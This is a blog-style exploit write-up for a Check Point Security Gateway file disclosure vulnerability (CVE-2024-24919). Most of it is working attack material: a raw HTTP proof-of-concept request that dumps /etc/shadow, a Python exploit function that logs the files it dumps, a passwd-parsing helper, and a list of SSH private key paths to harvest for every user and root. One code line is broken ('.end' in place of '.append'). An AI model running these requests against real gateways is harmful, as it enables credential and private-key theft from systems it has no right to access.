Chaining CVE-2024–24919 (Checkpoint Security Gateway) Local file inclusion vulnerability for better sensitive findings
In 28 April of 2024, NVD Published a CVE for Check Point Security Gateways LFI (Local file inclusion). More depth detail can be found at https://labs.watchtowr.com/check-point-wrong-check-point-cve-2024-24919/, which is basically a sensitive information disclosure, not any normal sensitive information disclosure attacker was able to directly dump the /etc/shadow file which is pretty much serious case, shadow file contains the hash for the machine user credentials, this blog is not about cracking the shadow file it’s about “ How we can chain these sensitive file disclosure to find more sensitive file like ssh key”.
Simple POC (Proof of concept)
POST /clients/MyCRL HTTP/1.1
Host: 127.0.0.1
Sec-Ch-Ua: "Not_A Brand";v="8", "Chromium";v="120"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.6099.71 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Priority: u=0, i
Connection: close
aCSHELL/../../../../../../../../../../../etc/shadow
And the server will give you the shadow file as a response, Pretty much easy. Just by sending the path through a POST method, we can get the shadow file. If the password is strong, it will take ages to crack with Hashcat. So I thought, “If we have the ability to read any file, let’s read the SSH id_rsa.” But that was tough. I want to check every user available there to see if any of those users’ home directories contain the SSH key or not. Requirements:
username
path
automated_checker
First lets built the checker, which will send request to the webserver as the raw request POC above. the python3 version of the HTTP RAW request above is below.
def exploit(ip, path):
target = f'https://{ip}/clients/MyCRL'
data = f'aCSHELL/../../../../../../../../../../..{path}'
headers = {
'Host': ip,
'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:126.0) Gecko/20100101 Firefox/126.0',
'Te': 'trailers',
'Dnt': '1',
'Connection': 'keep-alive',
'Content-Length': '48'
}
try:
response = requests.post(target, headers=headers, data=data, verify=False, timeout=5)
if response.status_code == 200:
print(f'{Fore.GREEN}[+] {Fore.WHITE}Dumped {Fore.GREEN}{path}{Fore.WHITE} from {Fore.GREEN}{ip}{Fore.WHITE} successfully')
print(f'{Fore.GREEN}[+] {Fore.WHITE}Response: {response.text}')
data = f"[+] Dumped {path} from {ip} successfully\n[+] Response: {response.text}\n"
with open('dumped.txt', 'a') as file:
file.write(data)
else:
print(f'{Fore.RED}[-] {Fore.WHITE}Failed to dump {Fore.RED}{path}{Fore.WHITE} from {Fore.RED}{ip}{Fore.WHITE}')
except Exception as e:
print(f'{Fore.RED}[-] {Fore.WHITE}Failed to dump {Fore.RED}{path}{Fore.WHITE} from {Fore.RED}{ip}{Fore.WHITE}: {e}')
Now we need to extract username from the server, generally the /etc/passwd file contains the list of users.
root:!:0:0:root:/:/bin/false
nobody:x:99:99:nobody:/nonexistent:/bin/false
ntp:x:38:38::/nonexistent:/bin/false
rpm:x:37:37::/nonexistent:/bin/false
pcap:x:77:77::/nonexistent:/bin/false
ace:x:0:0:Linux User,,,:/:/bin/clish
joker:x:0:0:Linux User,,,:/:/bin/clish
sysBadmin:x:0:0:Linux User,,,:/:/bin/clish
Thema:x:0:0:Linux User,,,:/:/bin/clish
there are some nonexistent users like ntp,rpm,pcap we don’t need these users so let’s write a simple python3 script to achieve that.
def usernames(passwd_content):
usernames = []
lines = passwd_content.split('\n')
for line in lines:
parts = line.split(':')
if len(parts) >= 7:
username = parts[0]
shell = parts[-1].strip()
if shell not in ['/sbin/nologin', '/bin/false', '/usr/sbin/nologin', '/bin/sync']:
usernames.append(username)
return usernames
I have more simplified these task by removing those user with /sbin/nologin, /bin/false these users. now we have list of user we need to create a path list for those users rsa key.
username = usernames(passwd)
sshkeypathlists = []
for user in username:
sshkeypathlists.append(f'/home/{user}/.ssh/id_rsa')
sshkeypathlists.append(f'/home/{user}/.ssh/id_dsa')
sshkeypathlists.append(f'/home/{user}/.ssh/id_ecdsa')
sshkeypathlists.append(f'/home/{user}/.ssh/id_ed25519')
sshkeypathlists.end(f'/home/{user}/.ssh/config')
sshkeypathlists.append(f'/home/{user}/.ssh/identity')
sshkeypathlists.append(f'/home/{user}/.ssh/id_rsa.pub')
sshkeypathlists.append(f'/home/{user}/.ssh/id_dsa.pub')
sshkeypathlists.append(f'/home/{user}/.ssh/id_ecdsa.pub')
sshkeypathlists.append(f'/home/{user}/.ssh/id_ed25519.pub')
sshkeypathlists.append(f'/home/{user}/.ssh/authorized_keys.pub')
sshkeypathlists.append(f'/home/{user}/.ssh/known_hosts.pub')
sshkeypathlists.append(f'/home/{user}/.ssh/config.pub')
sshkeypathlists.append(f'/home/{user}/.ssh/identity.pub')
sshkeypathlists.append(f'/root/.ssh/id_rsa')
sshkeypathlists.append(f'/root/.ssh/id_dsa')
sshkeypathlists.append(f'/root/.ssh/id_ecdsa')
sshkeypathlists.append(f'/root/.ssh/id_ed25519')
sshkeypathlists.append(f'/home/{user}/.ssh/known_hosts')
the id_rsa key disclosure is more sorted out by this, it will only check for key in root and available users home directory, now lets combine all the things together. first lets test those out if these function works perfectly.
now let’s put those together and add some concurrency to make the speed faster.
Use this script for educational purpose only, i am not responsible for any of your malicious action.
Shout out to Ashraful for notifying me about the CVE
Ashraful’s Twitter: https://x.com/myselfAshraful